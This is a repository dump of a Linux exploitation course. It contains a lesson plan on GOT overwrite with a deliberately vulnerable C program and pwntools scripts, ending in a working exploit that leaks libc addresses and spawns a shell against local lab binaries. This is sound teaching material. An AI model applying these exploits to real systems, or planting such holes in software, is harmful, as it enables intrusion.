├── .gitignore ├── LICENSE ├── README.md ├── Vagrantfile ├── builddocker.sh ├── cleanup.sh ├── deploydocker.sh ├── lessons ├── 10_bypass_got │ ├── Makefile │ ├── build │ │ ├── 1_records │ │ └── 2_event1 │ ├── lessonplan.md │ ├── scripts │ │ ├── 1_arbitrary_read.py │ │ ├── 2_arbitrary_read_controlled.py │ │ ├── 3_leak_puts_got.py │ │ ├── 4_eip_control.py │ │ ├── 5_final.py │ │ └── 6_exercise_sol.py │ ├── services │ │ └── event1 │ │ │ ├── Dockerfile │ │ │ ├── dockerbuild.sh │ │ │ ├── dockerrun.sh │ │ │ ├── event1 │ │ │ ├── event1service │ │ │ └── flag │ └── src │ │ ├── 1_records.c │ │ └── 2_event1.c ├── 11_memory_leaks │ └── lessonplan.md ├── 12_multi_stage │ ├── Makefile │ ├── build │ │ └── 1_vulnerable │ ├── lessonplan.md │ ├── scripts │ │ ├── 1_skeleton.py │ │ ├── 2_leak_system.py │ │ └── 3_final.py │ └── src │ │ └── 1_vulnerable.c ├── 13_fmt_str │ ├── Makefile │ ├── build │ │ ├── 1_lottery │ │ ├── 2_overwrite │ │ └── 3_echo │ ├── lessonplan.md │ ├── scripts │ │ ├── 1_overwrite_token.py │ │ └── 2_echo_solution.py │ ├── services │ │ └── echo │ │ │ ├── Dockerfile │ │ │ ├── dockerbuild.sh │ │ │ ├── dockerrun.sh │ │ │ ├── echo │ │ │ ├── echoservice │ │ │ └── flag │ └── src │ │ ├── 1_lottery.c │ │ ├── 2_overwrite.c │ │ └── 3_echo.c ├── 14_advanced_exercises │ ├── challenges │ │ ├── black_beauty │ │ │ ├── README.md │ │ │ ├── distrib │ │ │ │ └── blackbeauty_6b350b986168bfcf6a85fecc377552dd │ │ │ └── exploit.py │ │ ├── dragrace │ │ │ ├── README.md │ │ │ ├── distrib │ │ │ │ └── dragrace_981dac47f4cb1881baf246df10e73536 │ │ │ └── exploit.py │ │ └── mystery_jukebox │ │ │ ├── OLDREADME.md │ │ │ ├── README.md │ │ │ ├── distrib │ │ │ └── jukebox_a761352ac202e55d441e7e807d89962b.tar.gz │ │ │ ├── exploit.py │ │ │ └── old │ │ │ ├── README.md │ │ │ ├── distribute │ │ │ ├── description │ │ │ ├── diapers_acfc5af90bb1debbe5acfcb51873890e │ │ │ └── libc-2.19.so │ │ │ └── service │ │ │ ├── Dockerfile │ │ │ ├── Makefile │ │ │ ├── diapers │ │ │ ├── diapers.c │ │ │ ├── diaperservice │ │ │ ├── dockerbuild.sh │ │ │ ├── dockerrun.sh │ │ │ ├── exploit.py │ │ │ ├── flag │ │ │ └── libc-2.19.so │ ├── lessonplan.md │ └── services │ │ ├── black_beauty │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── blackbeauty │ │ ├── blackbeauty.c │ │ ├── blackbeautyservice │ │ ├── dockerbuild.sh │ │ ├── dockerrun.sh │ │ └── flag │ │ ├── dragrace │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── dockerbuild.sh │ │ ├── dockerrun.sh │ │ ├── dragrace │ │ ├── dragrace.c │ │ ├── dragraceservice │ │ └── flag │ │ └── mystery_jukebox │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── diapers │ │ ├── diaperservice │ │ ├── dockerbuild.sh │ │ ├── dockerrun.sh │ │ ├── flag │ │ ├── jukebox │ │ ├── jukebox.c │ │ ├── jukeboxservice │ │ └── libc-2.19.so ├── 1_setting_up_environment │ └── lessonplan.md ├── 2_linux_binaries │ └── lessonplan.md ├── 3_intro_to_tools │ ├── Makefile │ ├── build │ │ ├── 1_sample │ │ ├── 2_interactive │ │ └── 3_reversing │ ├── lessonplan.md │ ├── scripts │ │ ├── 1_template.py │ │ ├── 2_shellsample.py │ │ ├── 3_interactive.py │ │ ├── 4_networked.py │ │ ├── 5_gdb.py │ │ ├── 6_gdbsol.py │ │ └── 7_gdbremote.py │ ├── services │ │ └── gdbreversing │ │ │ ├── Dockerfile │ │ │ ├── dockerbuild.sh │ │ │ ├── dockerrun.sh │ │ │ ├── flag │ │ │ ├── gdbrev │ │ │ └── gdbrevservice │ └── src │ │ ├── 1_sample.c │ │ ├── 2_interactive.c │ │ └── 3_reversing.c ├── 4_classic_exploitation │ ├── Makefile │ ├── build │ │ └── 1_vulnerable │ ├── lessonplan.md │ ├── scripts │ │ ├── 1_skeleton.py │ │ ├── 2_stackjump.py │ │ └── 3_final.py │ └── src │ │ └── 1_vulnerable.c ├── 5_protections │ ├── diagrams │ │ ├── aslr1 │ │ ├── aslr1.png │ │ ├── aslr2 │ │ ├── aslr2.png │ │ ├── aslr3 │ │ ├── aslr3.png │ │ ├── aslr4 │ │ ├── aslr4.png │ │ ├── base │ │ ├── canary1 │ │ ├── canary1.png │ │ ├── canary2 │ │ ├── canary2.png │ │ ├── canary3 │ │ ├── canary3.png │ │ ├── classic1 │ │ ├── classic1.png │ │ ├── classic2 │ │ ├── classic2.png │ │ ├── classic3 │ │ ├── classic3.png │ │ ├── classic4 │ │ ├── classic4.png │ │ ├── classic5 │ │ ├── classic5.png │ │ ├── classic6 │ │ ├── classic6.png │ │ ├── nx1 │ │ ├── nx1.png │ │ ├── nx2 │ │ ├── nx2.png │ │ ├── nx3 │ │ └── nx3.png │ └── lessonplan.md ├── 6_bypass_nx_rop │ ├── Makefile │ ├── build │ │ └── 1_staticnx │ ├── lessonplan.md │ ├── scripts │ │ ├── 1_skeleton.py │ │ ├── 2_ropexploit.py │ │ └── 3_brokenrop.py │ └── src │ │ └── 1_staticnx.c ├── 7_bypass_nx_ret2libc │ ├── Makefile │ ├── build │ │ ├── 1_reveal_addresses │ │ ├── 2_reveal_addresses64 │ │ └── 3_vulnerable │ ├── lessonplan.md │ ├── scripts │ │ ├── 1_skeleton.py │ │ └── 2_final.py │ └── src │ │ ├── 1_reveal_addresses.c │ │ └── 2_vulnerable.c ├── 8_aslr │ ├── Makefile │ ├── build │ │ ├── 1_reveal_addresses │ │ ├── 2_reveal_addresses64 │ │ ├── 3_reveal_addresses_pie │ │ └── 4_reveal_addresses64_pie │ ├── lessonplan.md │ └── src │ │ └── 1_reveal_addresses.c └── 9_bypass_ret2plt │ ├── Makefile │ ├── build │ ├── 1_clock │ └── 2_event0 │ ├── lessonplan.md │ ├── scripts │ ├── 1_skeleton.py │ ├── 2_final.py │ ├── 3_event0_skeleton.py │ ├── 4_event0_local.py │ └── 5_event0_remote.py │ ├── services │ └── event0 │ │ ├── Dockerfile │ │ ├── dockerbuild.sh │ │ ├── dockerrun.sh │ │ ├── event0 │ │ └── event0service │ └── src │ ├── 1_clock.c │ ├── 2_event0.c │ └── 3_event0_with_secret.c └── makeall.sh /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | .vagrant 3 | ubuntu-xenial-16.04-cloudimg-console.log 4 | .gdb_history 5 | peda-*.txt 6 | core 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # linux-exploitation-course 2 | 3 | A Course on Intermediate Level Linux Exploitation 4 | 5 | ## Pre-Requisites 6 | 7 | The course is designed as a continuation of the Windows Exploit Development 8 | workshops by the people at Null Singapore and some pre-requisite knowledge is 9 | expected of the following topics: 10 | 11 | 1. An Understanding of x86-64 Assembly 12 | 2. Familiarity with GDB 13 | 3. Familiarity with C and Python 14 | 4. Familiarity with the Standard Jump to Shellcode Exploits 15 | 16 | Please do view this 15 minute '[Introduction to Return Oriented Programming]' 17 | video as a refresher. If you have time, please go through the [lesson plan] for 18 | the video. 19 | 20 | ## Syllabus 21 | 22 | 1. [Setting Up the Environment] 23 | 2. How Does a Linux Binary Work? - Skipped for Now 24 | 3. [Introduction to PEDA and Pwntools] 25 | 4. [Classic Exploitation Technique] 26 | 5. [Linux Binary Protections] 27 | 6. [Bypassing NX with Return Oriented Programming] 28 | 7. [Bypassing NX with Ret2Libc] 29 | 8. [ASLR in Depth] 30 | 9. [Bypassing ASLR/NX with Ret2PLT] 31 | 10. [Bypassing ASLR/NX with GOT Overwrite] 32 | 11. Memory Leaks - Skipped for Now 33 | 12. [Multi-Stage Exploits] 34 | 13. [Format String Vulnerabilties] 35 | 14. [Advanced Exercises] 36 | 37 | [Introduction to Return Oriented Programming]: https://youtu.be/ruJXvxXzyU8 38 | [lesson plan]: https://github.com/nnamon/PracticalRet2Libc/blob/master/docs/lessonplans/1_practicalrop/lessonplan.md 39 | [Setting Up The Environment]: ./lessons/1_setting_up_environment/lessonplan.md 40 | [How Does a Linux Binary Work?]: ./lessons/2_linux_binaries/lessonplan.md 41 | [Introduction to PEDA and Pwntools]: ./lessons/3_intro_to_tools/lessonplan.md 42 | [Classic Exploitation Technique]: ./lessons/4_classic_exploitation/lessonplan.md 43 | [Linux Binary Protections]: ./lessons/5_protections/lessonplan.md 44 | [Bypassing NX with Return Oriented Programming]: ./lessons/6_bypass_nx_rop/lessonplan.md 45 | [Bypassing NX with Ret2Libc]: ./lessons/7_bypass_nx_ret2libc/lessonplan.md 46 | [ASLR in Depth]: ./lessons/8_aslr/lessonplan.md 47 | [Bypassing ASLR/NX with Ret2PLT]: ./lessons/9_bypass_ret2plt/lessonplan.md 48 | [Bypassing ASLR/NX with GOT Overwrite]: ./lessons/10_bypass_got/lessonplan.md 49 | [Memory Leaks]: ./lessons/11_memory_leaks/lessonplan.md 50 | [Multi-Stage Exploits]: ./lessons/12_multi_stage/lessonplan.md 51 | [Format String Vulnerabilties]: ./lessons/13_fmt_str/lessonplan.md 52 | [Advanced Exercises]: ./lessons/14_advanced_exercises/lessonplan.md 53 | 54 | -------------------------------------------------------------------------------- /Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | # All Vagrant configuration is done below. The "2" in Vagrant.configure 5 | # configures the configuration version (we support older styles for 6 | # backwards compatibility). Please don't change it unless you know what 7 | # you're doing. 8 | Vagrant.configure("2") do |config| 9 | # The most common configuration options are documented and commented below. 10 | # For a complete reference, please see the online documentation at 11 | # https://docs.vagrantup.com. 12 | 13 | # Every Vagrant development environment requires a box. You can search for 14 | # boxes at https://atlas.hashicorp.com/search. 15 | config.vm.box = "ubuntu/xenial64" 16 | 17 | # Disable automatic box update checking. If you disable this, then 18 | # boxes will only be checked for updates when the user runs 19 | # `vagrant box outdated`. This is not recommended. 20 | # config.vm.box_check_update = false 21 | 22 | # Create a forwarded port mapping which allows access to a specific port 23 | # within the machine from a port on the host machine. In the example below, 24 | # accessing "localhost:8080" will access port 80 on the guest machine. 25 | # config.vm.network "forwarded_port", guest: 80, host: 8080 26 | 27 | # Create a private network, which allows host-only access to the machine 28 | # using a specific IP. 29 | # config.vm.network "private_network", ip: "192.168.33.10" 30 | 31 | # Create a public network, which generally matched to bridged network. 32 | # Bridged networks make the machine appear as another physical device on 33 | # your network. 34 | # config.vm.network "public_network" 35 | 36 | # Share an additional folder to the guest VM. The first argument is 37 | # the path on the host to the actual folder. The second argument is 38 | # the path on the guest to mount the folder. And the optional third 39 | # argument is a set of non-required options. 40 | # config.vm.synced_folder "../data", "/vagrant_data" 41 | 42 | # Provider-specific configuration so you can fine-tune various 43 | # backing providers for Vagrant. These expose provider-specific options. 44 | # Example for VirtualBox: 45 | # 46 | # config.vm.provider "virtualbox" do |vb| 47 | # # Display the VirtualBox GUI when booting the machine 48 | # vb.gui = true 49 | # 50 | # # Customize the amount of memory on the VM: 51 | # vb.memory = "1024" 52 | # end 53 | # 54 | # View the documentation for the provider you are using for more 55 | # information on available options. 56 | 57 | # Define a Vagrant Push strategy for pushing to Atlas. Other push strategies 58 | # such as FTP and Heroku are also available. See the documentation at 59 | # https://docs.vagrantup.com/v2/push/atlas.html for more information. 60 | # config.push.define "atlas" do |push| 61 | # push.app = "YOUR_ATLAS_USERNAME/YOUR_APPLICATION_NAME" 62 | # end 63 | 64 | # Enable provisioning with a shell script. Additional provisioners such as 65 | # Puppet, Chef, Ansible, Salt, and Docker are also available. Please see the 66 | # documentation for more information about their specific syntax and use. 67 | config.vm.provision "shell", inline: <<-SHELL 68 | dpkg --add-architecture i386 69 | apt-get update -y 70 | apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 gdb python python-pip libssl-dev gcc git binutils socat apt-transport-https ca-certificates libc6-dev-i386 python-capstone libffi-dev 71 | hash -r 72 | pip install --upgrade pip 73 | pip install ropgadget 74 | pip install pwntools 75 | pip install ipython 76 | pip install ropper 77 | git clone https://github.com/longld/peda.git /home/vagrant/peda 78 | echo "source ~/peda/peda.py" >> /home/vagrant/.gdbinit 79 | git clone https://github.com/niklasb/libc-database.git /home/vagrant/libc-database 80 | cd /home/vagrant/libc-database 81 | /home/vagrant/libc-database/add /lib/i386-linux-gnu/libc.so.6 82 | /home/vagrant/libc-database/add /lib/x86_64-linux-gnu/libc.so.6 83 | apt-get install -y curl gnupg-agent software-properties-common 84 | curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add - 85 | apt-key fingerprint 0EBFCD88 86 | add-apt-repository "deb https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" 87 | apt-get update -y 88 | apt-get install linux-modules-extra-$(uname -r) linux-image-extra-virtual 89 | apt-get install docker-ce docker-ce-cli containerd.io -y 90 | usermod -aG docker vagrant 91 | service docker restart 92 | SHELL 93 | end 94 | -------------------------------------------------------------------------------- /builddocker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cur_dir=$PWD 4 | for directory in lessons/*/services/*; do 5 | echo Building $directory 6 | cd $directory 7 | chmod +x dockerbuild.sh 8 | ./dockerbuild.sh 9 | cd $cur_dir 10 | done 11 | 12 | -------------------------------------------------------------------------------- /cleanup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | find . -name 'peda*.txt' | xargs -t -n 1 rm 4 | find . -name '.gdb_history' | xargs -t -n 1 rm 5 | find . -name 'core' | xargs -t -n 1 rm 6 | 7 | -------------------------------------------------------------------------------- /deploydocker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Stopping all docker containers." 4 | docker stop $(docker ps -a -q) 2>/dev/null 5 | docker rm $(docker ps -a -q) 2>/dev/null 6 | cur_dir=$PWD 7 | for directory in lessons/*/services/*; do 8 | echo Running $directory 9 | cd $directory 10 | chmod +x dockerbuild.sh 11 | ./dockerrun.sh 12 | cd $cur_dir 13 | done 14 | 15 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/Makefile: -------------------------------------------------------------------------------- 1 | all: 1_records 2_event1 2 | 3 | 1_records: 4 | gcc -m32 -fno-stack-protector -znoexecstack -o ./build/1_records ./src/1_records.c 5 | 6 | 7 | 2_event1: 8 | gcc -m32 -znoexecstack -o ./build/2_event1 ./src/2_event1.c 9 | cp ./build/2_event1 ./services/event1/event1 10 | 11 | 12 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/build/1_records: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/10_bypass_got/build/1_records -------------------------------------------------------------------------------- /lessons/10_bypass_got/build/2_event1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/10_bypass_got/build/2_event1 -------------------------------------------------------------------------------- /lessons/10_bypass_got/lessonplan.md: -------------------------------------------------------------------------------- 1 | # Bypassing ASLR/NX with GOT Overwrite 2 | 3 | In this section, we will take a closer look at the Global Offset Table. In the 4 | previous section, we learnt how to use jumping to the PLT stubs as a technique 5 | to reuse functions in libc. When jumping to PLT, the GOT entry for that 6 | corresponding function acted as a malleable space where the dynamic address 7 | would be held. We shall exploit that malleability. 8 | 9 | Now, let's depart from the standard paradigm of stack overflows for the moment. 10 | We shall begin looking at vulnerable programs that allow for write-what-where 11 | primitives, albeit in a limited fashion. 12 | 13 | Our [first simple example][1] is the following: 14 | 15 | ```c 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | struct record { 23 | char name[24]; 24 | char * album; 25 | }; 26 | 27 | int main() { 28 | // Print Title 29 | puts("This is a Jukebox"); 30 | 31 | // Create the struct record 32 | struct record now_playing; 33 | strcpy(now_playing.name, "Simple Minds"); 34 | now_playing.album = (char *) malloc(sizeof(char) * 24); 35 | strcpy(now_playing.album, "Breakfast"); 36 | printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album); 37 | 38 | // Read some user data 39 | read(0, now_playing.name, 28); 40 | printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album); 41 | 42 | // Overwrite the album 43 | read(0, now_playing.album, 4); 44 | printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album); 45 | 46 | // Print the name again 47 | puts(now_playing.name); 48 | } 49 | ``` 50 | 51 | The program is vulnerable in two ways: 52 | 53 | 1. It provides an information leak opportunity when the `now_playing.album` 54 | pointer is overwritten and the album name is printed. 55 | 2. It provides a write what where primitive when the `now_playing.album` pointer 56 | is overwritten and input is provided to the second prompt. 57 | 58 | 59 | Running the [binary][2]: 60 | 61 | ```shell 62 | ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/build$ ./1_records 63 | This is a Jukebox 64 | Now Playing: Simple Minds (Breakfast) 65 | Hello 66 | Now Playing: Hello 67 | Minds (Breakfast) 68 | Stuff 69 | Now Playing: Hello 70 | Minds (Stufkfast) 71 | Hello 72 | Minds 73 | ``` 74 | 75 | It's a little screwy but nothing that fancy yet. Let's begin by trying to 76 | achieve the first vulnerable condition (arbitrary read). First, we can take an 77 | easy to spot target to leak. We can use the "This is a Jukebox" string. First, 78 | we need to figure out its address. 79 | 80 | ```shell 81 | gdb-peda$ find "This is a Jukebox" 82 | Searching for 'This is a Jukebox' in: None ranges 83 | Found 2 results, display max 2 items: 84 | 1_records : 0x8048610 ("This is a Jukebox") 85 | 1_records : 0x8049610 ("This is a Jukebox") 86 | ``` 87 | 88 | Now, here's a [skeleton exploit][3] that will demonstrate the leaking of that 89 | string. 90 | 91 | ```python 92 | #!/usr/bin/python 93 | 94 | from pwn import * 95 | 96 | def main(): 97 | p = process("../build/1_records") 98 | 99 | # Craft first stage (arbitrary read) 100 | leak_address = 0x8048610 # Address of "This is a Jukebox" 101 | stage_1 = "A"*24 + p32(leak_address) 102 | 103 | # Send the first stage 104 | p.send(stage_1) 105 | 106 | p.interactive() 107 | 108 | if __name__ == "__main__": 109 | main() 110 | ``` 111 | 112 | Testing it out: 113 | 114 | ```shell 115 | ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 1_arbitrary_read.py 116 | [+] Starting local process '../build/1_records': Done 117 | This is a Jukebox 118 | Now Playing: Simple Minds (Breakfast) 119 | Now Playing: AAAAAAAAAAAAAAAAAAAAAAAA\x10\x86\x0�so�.�\xff (This is a Jukebox) 120 | $ 121 | ``` 122 | 123 | See the "(This is a Jukebox)"? That means it worked. Now, what we are most 124 | interested in are mostly pointers. So let's make a small addition that would 125 | parse the leak and transform it into a nice number for us. 126 | 127 | ```python 128 | #!/usr/bin/python 129 | 130 | from pwn import * 131 | 132 | def main(): 133 | p = process("../build/1_records") 134 | 135 | # Craft first stage (arbitrary read) 136 | leak_address = 0x8048610 # Address of "This is a Jukebox" 137 | stage_1 = "A"*24 + p32(leak_address) 138 | p.recvrepeat(0.2) 139 | 140 | # Send the first stage 141 | p.send(stage_1) 142 | 143 | # Parse the response 144 | data = p.recvrepeat(0.2) 145 | leak = data[data.find("(")+1:data.rfind(")")] 146 | log.info("Got leaked data: %s" % leak) 147 | 148 | p.interactive() 149 | 150 | if __name__ == "__main__": 151 | main() 152 | ``` 153 | 154 | Running it: 155 | 156 | ```shell 157 | ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 2_arbitrary_read_controlled.py 158 | [+] Starting local process '../build/1_records': Done 159 | [*] Got leaked data: This is a Jukebox 160 | [*] Switching to interactive mode 161 | $ 162 | ``` 163 | 164 | Awesome, now we can begin thinking about our exploit. 165 | 166 | ## GOT Overwrite Strategy 167 | 168 | At the moment, we do not have a target to leak and to overwrite. We must be 169 | careful to pick a suitable one because the information leak and arbitrary write 170 | has to be performed on the same address. Additionally, the write has to result 171 | in EIP control at some point of the program's execution since we do not have 172 | that yet. 173 | 174 | If we take a look at the source code again, the following function is called 175 | last: 176 | 177 | ```c 178 | puts(now_playing.name); 179 | ``` 180 | 181 | Interestingly, this is perfect for our uses. If we leak the address of puts in 182 | libc, we can calculate the address of the libc base and subsequently, the 183 | address of the system function. Also, once we have that, we can write the 184 | address of the system function into the puts@got entry so that when this final 185 | line executes, it will actually execute: 186 | 187 | ```c 188 | system(now_playing.name); 189 | ``` 190 | 191 | Which means that system will be called with a parameter that we control! How 192 | convenient! 193 | 194 | ## Writing the Exploit 195 | 196 | First, let's see if we can leak the address of puts@got. First, we need the 197 | address. 198 | 199 | ```shell 200 | ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/build$ readelf -r ./1_records | grep puts 201 | 0804a018 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0 202 | ``` 203 | 204 | Now, we can modify our earlier iterations of the exploit. 205 | 206 | ```python 207 | #!/usr/bin/python 208 | 209 | from pwn import * 210 | 211 | def main(): 212 | p = process("../build/1_records") 213 | 214 | # Craft first stage (arbitrary read) 215 | leak_address = 0x0804a018 # Address of puts@got 216 | stage_1 = "A"*24 + p32(leak_address) 217 | p.recvrepeat(0.2) 218 | 219 | # Send the first stage 220 | p.send(stage_1) 221 | 222 | # Parse the response 223 | data = p.recvrepeat(0.2) 224 | leak = data[data.find("(")+1:data.rfind(")")] 225 | log.info("Got leaked data: %s" % leak) 226 | puts_addr = u32(leak[:4]) 227 | log.info("puts@libc: 0x%x" % puts_addr) 228 | 229 | p.interactive() 230 | 231 | if __name__ == "__main__": 232 | main() 233 | ``` 234 | 235 | Running the script gives us a sanity check that we are reading the right thing. 236 | 237 | ```shell 238 | ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 3_leak_puts_got.py 239 | [+] Starting local process '../build/1_records': Done 240 | [*] Got leaked data: � 241 | f�@�a� 242 | [*] puts@libc: 0xf7660ca0 243 | [*] Switching to interactive mode 244 | $ 245 | ``` 246 | 247 | Now, let's try and get EIP control. This should be as simple as sending four bytes. 248 | 249 | ```python 250 | #!/usr/bin/python 251 | 252 | from pwn import * 253 | 254 | def main(): 255 | p = process("../build/1_records") 256 | 257 | # Craft first stage (arbitrary read) 258 | leak_address = 0x0804a018 # Address of puts@got 259 | stage_1 = "A"*24 + p32(leak_address) 260 | p.recvrepeat(0.2) 261 | 262 | # Send the first stage 263 | p.send(stage_1) 264 | 265 | # Parse the response 266 | data = p.recvrepeat(0.2) 267 | leak = data[data.find("(")+1:data.rfind(")")] 268 | log.info("Got leaked data: %s" % leak) 269 | puts_addr = u32(leak[:4]) 270 | log.info("puts@libc: 0x%x" % puts_addr) 271 | 272 | # Overwrite puts@got 273 | ret_address =0xdeadc0de 274 | p.send(p32(ret_address)) 275 | 276 | p.interactive() 277 | 278 | if __name__ == "__main__": 279 | main() 280 | ``` 281 | 282 | It works, the program crashed at `0xdeadc0de`. 283 | 284 | ```shell 285 | ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 4_eip_control.py 286 | [+] Starting local process '../build/1_records': Done 287 | [*] Got leaked data: �,c�@�^� 288 | [*] puts@libc: 0xf7632ca0 289 | [*] Switching to interactive mode 290 | Now Playing: AAAAAAAAAAAAAAAAAAAAAAAA\x18\xa0\x0�Sx�@Ż\xff (��\xad�@\xb5^�) 291 | $ [*] Got EOF while reading in interactive 292 | 293 | [*] Process '../build/1_records' stopped with exit code -11 294 | [*] Got EOF while sending in interactive 295 | ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ dmesg | tail -n 1 296 | [19310.052976] 1_records[3815]: segfault at deadc0de ip 00000000deadc0de sp 00000000ffbbc4ec error 14 in libc-2.23.so[f75d3000+1af000] 297 | ``` 298 | 299 | Let's gather our offsets and we can write our final exploit script. 300 | 301 | ```shell 302 | ubuntu@ubuntu-xenial:~/libc-database$ objdump -d /lib/i386-linux-gnu/libc-2.23.so | grep "<_IO_puts@@GLIBC_2.0>:" 303 | 0005fca0 <_IO_puts@@GLIBC_2.0>: 304 | ubuntu@ubuntu-xenial:~/libc-database$ ./dump local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed | grep system 305 | offset_system = 0x0003ada0 306 | ``` 307 | 308 | Final exploit script: 309 | 310 | ```python 311 | #!/usr/bin/python 312 | 313 | from pwn import * 314 | 315 | def main(): 316 | p = process("../build/1_records") 317 | 318 | # Craft first stage (arbitrary read) 319 | leak_address = 0x0804a018 # Address of puts@got 320 | command = "/bin/sh" 321 | stage_1 = command.ljust(24, "\x00") + p32(leak_address) 322 | p.recvrepeat(0.2) 323 | 324 | # Send the first stage 325 | p.send(stage_1) 326 | 327 | # Parse the response 328 | data = p.recvrepeat(0.2) 329 | leak = data[data.find("(")+1:data.rfind(")")] 330 | log.info("Got leaked data: %s" % leak) 331 | puts_addr = u32(leak[:4]) 332 | log.info("puts@libc: 0x%x" % puts_addr) 333 | 334 | # Calculate libc base and system 335 | puts_offset = 0x5fca0 336 | libc_base = puts_addr - puts_offset 337 | log.info("libc base: 0x%x" % libc_base) 338 | system_offset = 0x0003ada0 339 | system_addr = libc_base + system_offset 340 | log.info("system@libc: 0x%x" % system_addr) 341 | 342 | # Overwrite puts@got 343 | ret_address = system_addr 344 | p.send(p32(ret_address)) 345 | 346 | p.interactive() 347 | 348 | if __name__ == "__main__": 349 | main() 350 | ``` 351 | 352 | Getting our shell: 353 | 354 | ```shell 355 | ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 5_final.py 356 | [+] Starting local process '../build/1_records': Done 357 | [*] Got leaked data: ��Z�@uV� 358 | [*] puts@libc: 0xf75aeca0 359 | [*] libc base: 0xf754f000 360 | [*] system@libc: 0xf7589da0 361 | [*] Switching to interactive mode 362 | Now Playing: /bin/sh (\xa0\x9dX�@uV�) 363 | $ ls -la 364 | total 2232 365 | drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 18:01 . 366 | drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 18:02 .. 367 | -rw-rw-r-- 1 ubuntu ubuntu 345 Jan 13 16:49 1_arbitrary_read.py 368 | -rw-rw-r-- 1 ubuntu ubuntu 515 Jan 13 16:50 2_arbitrary_read_controlled.py 369 | -rw-rw-r-- 1 ubuntu ubuntu 579 Jan 13 16:52 3_leak_puts_got.py 370 | -rw-rw-r-- 1 ubuntu ubuntu 662 Jan 13 16:54 4_eip_control.py 371 | -rw-rw-r-- 1 ubuntu ubuntu 978 Jan 13 17:00 5_final.py 372 | $ 373 | [*] Stopped program '../build/1_records' 374 | ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ 375 | ``` 376 | 377 | ## Exercises 378 | 379 | ### Ex 10.1: Event 1 380 | 381 | After the mistakes of the previous Event, Kaizen has decided to secure his 382 | system. Can you find a way to exploit the new binary? 383 | 384 | It was compiled with a stack canary. 385 | 386 | `gcc -m32 -znoexecstack -o ./build/2_event1 ./src/2_event1.c` 387 | 388 | The binary can be [found here][1] and the source can be [found here][2]. The 389 | remote target is `nc localhost 1902`. 390 | 391 | The solution script may be [found here][3]. 392 | 393 | [1]: ./build/2_event1 394 | [2]: ./src/2_event1.c 395 | [3]: ./scripts/6_exercise_sol.py 396 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/scripts/1_arbitrary_read.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | p = process("../build/1_records") 7 | 8 | # Craft first stage (arbitrary read) 9 | leak_address = 0x8048610 # Address of "This is a Jukebox" 10 | stage_1 = "A"*24 + p32(leak_address) 11 | 12 | # Send the first stage 13 | p.send(stage_1) 14 | 15 | p.interactive() 16 | 17 | if __name__ == "__main__": 18 | main() 19 | 20 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/scripts/2_arbitrary_read_controlled.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | p = process("../build/1_records") 7 | 8 | # Craft first stage (arbitrary read) 9 | leak_address = 0x8048610 # Address of "This is a Jukebox" 10 | stage_1 = "A"*24 + p32(leak_address) 11 | p.recvrepeat(0.2) 12 | 13 | # Send the first stage 14 | p.send(stage_1) 15 | 16 | # Parse the response 17 | data = p.recvrepeat(0.2) 18 | leak = data[data.find("(")+1:data.rfind(")")] 19 | log.info("Got leaked data: %s" % leak) 20 | 21 | p.interactive() 22 | 23 | if __name__ == "__main__": 24 | main() 25 | 26 | -------------------------------------------------------------------------------- /lessons/10_bypass_got/scripts/3_leak_puts_got.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | p = process("../build/1_records") 7 | 8 | # Craft first stage (arbitrary read) 9 | leak_address = 0x0804a018 # Address of puts@got 10 | stage_1 = "A"*24 + p32(leak_address) 11 | p.recvrepeat(0.2) 12 | 13 | # Send the first stage 14 | p.send(stage_1) 15 | 16 | # Parse the response 17 | data = p.recvrepeat(0.2) 18 | leak = data[data.find("(")+1:data.rfind(")")] 19 | log.info("Got leaked data: %s" % leak) 20 | puts_addr = u32(leak[:4]) 21 | log.info("puts@libc: 0x%x" % puts_addr) 22 | 23 | p.interactive() 24 | 25 | if __name__ == "__main__": 26 | main() 27 | 28 | -------------------------------------------------------------------------------- 